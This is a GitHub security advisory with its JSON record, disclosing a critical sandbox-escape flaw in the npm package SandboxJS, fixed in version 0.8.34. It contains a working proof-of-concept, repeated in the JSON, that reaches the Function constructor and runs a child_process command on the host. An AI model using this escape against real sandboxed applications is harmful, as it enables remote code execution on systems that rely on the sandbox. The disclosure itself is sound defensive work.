GHSA-6R9F-759J-HJGV

Vulnerability from github – Published: 2026-03-13 13:46 – Updated: 2026-03-16 17:05
VLAI
Summary
SandboxJS affected by a Sandbox Escape
Details

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.33"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T13:46:08Z",
    "nvd_published_at": "2026-03-13T19:54:31Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ \u0027Function\u0027, [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require(\u0027.\u0027).default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([[\u0027then\u0027, ...Object.values(this).slice(1)]]),\n}).finally(\u0027a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})\u0027)();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE",
  "id": "GHSA-6r9f-759j-hjgv",
  "modified": "2026-03-16T17:05:26Z",
  "published": "2026-03-13T13:46:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS affected by a Sandbox Escape"
}



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